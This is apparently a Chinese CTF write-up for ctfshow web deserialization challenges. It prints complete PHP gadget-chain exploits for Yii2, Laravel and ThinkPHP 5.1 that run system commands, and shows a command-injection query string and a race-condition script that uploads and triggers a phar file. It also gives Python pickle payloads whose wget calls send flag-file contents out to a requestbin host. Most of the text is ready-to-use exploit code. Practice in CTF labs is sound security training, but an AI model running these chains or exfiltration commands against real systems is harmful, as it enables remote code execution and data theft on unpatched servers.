开启靶机,是一个网站,试着搜索有没有重要信息。在这里发现是yii框架。
我们使用弱口令admin/admin就可以登录进来了,那就继续收集重要信息。在源代码中发现了重要注释。
让我们传一个view-source参数。
出现了传参点,百度搜索yii反序列化漏洞,有相关的poc可以直接打。想知道构造思路可以看这篇文章: yii框架反序列化
相关poc为:
checkAccess = 'shell_exec';
$this->id = 'cp /fla* 1.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
因为执行查看命令是没有回显的,所以我们可以将执行结果cp到新的文件,再访问新的文件就可以了。那么本地生成payload直接打。注意参数。
打开题目一样的网站,287的加强版。前面找传参点都是一样的。试了一下上一题用的payload,发现不行了。打过补丁。还是在网上找exp来做。上exp吧。
checkAccess = 'exec';
$this->id = 'cp /fla* 1.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
之后自己还得复现一下。
又是加强版,直接上poc吧。
checkAccess = 'exec';
$this->id = 'cp /fla* 1.txt';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
来自于bfengj的链子,相关文章写的很好:yii2框架 反序列化漏洞复现_bfengj的博客-CSDN博客_yii框架漏洞
上一题师傅的链子依然能用,666
打开题目给了代码。而且题目是给了传参点。
考察laravel框架的反序列化。laravel源码 后期有时间复现一下。想知道链子构造建议看bfengj师傅的文章,写的太好了。laravel反序列化 直接放exp了。
command="system";
$this->parameters[]="cat /flag";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
记得抓包打payload。flag不会回显到页面上。
还是看文章:laravel5.8 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel漏洞复现
poc为:
events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
上一个链子仍然能用。嘿嘿。
终于有个我复现过的框架了。找到传参点。
相关链子的构造可以看我这篇文章:thinkphp5.1.37反序列化链子分析_XiLitter的博客-CSDN博客
直接放poc:
append = ["li"=>[]];
$this->data = ["li"=>new Request()];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\model;
class Pivot extends Model{
}
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config;
protected $param = [];
public function __construct()
{
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->filter = 'system';
$this->config = ["var_ajax"=>''];//对这个键名附上值
$this->param = ['cat /flag'];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
打开题目给出了源码。
filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
这代码大致看就是个写入文件的操作,分别对文件名和文件内容进行了过滤,文件名不能出现php,文件内容不能出现flag。不然会删除这个文件。文件后缀不能有php,那怎么进行命令执行呢?我们仔细看这个system('rm '.$this->filename);,是不是可以构造filename来执行命令了。前面的rm用分号闭合掉就行了。那么我们构造payload。
?fn=;cat%20flag.php;
不知道为什么,执行ls命令没有回显,那就直接读取flag吧。
应该是web275的加强版。在进入system函数之前增加了admin的限制。
admin初始化为false,那只能通过反序列化来修改属性了。那我们就需要本地生成phar文件。应该是要条件竞争了,但是我又不会写脚本,白嫖吧。脚本如下:
import requests
import hashlib
import threading #提供多线程
url="http://d3f4254c-47cc-4c23-8498-5b02fe290e2d.challenge.ctf.show/"
f=open("tter.phar","rb") #打开文件
content=f.read()
def upload():
r=requests.post(url=url+"?fn=1.phar",data=content) #上传phar文件
def read():
r=requests.post(url=url+"?fn=phar://1.phar/",data="1") #phar协议读取
if "ctfshow{" in r.text or "flag{" in r.text:
print(r.text)
exit()
while 1:
t1=threading.Thread(target=upload)
t2=threading.Thread(target=read)
t1.start()
t2.start() #开启线程
成功 跑出flag。
打开题目在注释中找到传参点。
那么我们就用__reduce__魔术方法来执行命令。相关文章:一篇文章带你理解漏洞之 Python 反序列化漏洞 | K0rz3n's Blog
构造exp:
import os
import pickle
import base64
class abc(object):
def __reduce__(self):
return os.system, ('wget https://requestbin.io/1j6eke01?c=`cat fla*`',)
print(base64.b64encode(pickle.dumps(abc())))
因为执行命令是没有回显的,所以看了Y4师傅的wp将数据外带出来。一开始是用dnslog外带数据,但是一些问题没处理好就没带出来,这是用requestbin网站也可以将数据给带出来,
这个方式成功了之后就继续尝试了一下dnslog,发现意外成功了,真玄学。
当然有vps也可以反弹shell。
题目中说了过滤了os.system函数,那么我们可以用eval函数导入os。也可以用os.popen。
import os
import pickle
import base64
class abc(object):
def __reduce__(self):
return os.popen, ('wget https://requestbin.io/10mjkqp1?a=`cat fla*`',)
print(base64.b64encode(pickle.dumps(abc())))
这里我知道上一题出现的错误了,用python2跑的序列化串会报错,那么应该是python3环境。成功外带出数据。
这两个python反序列化题目相对来说比较简单。
传送门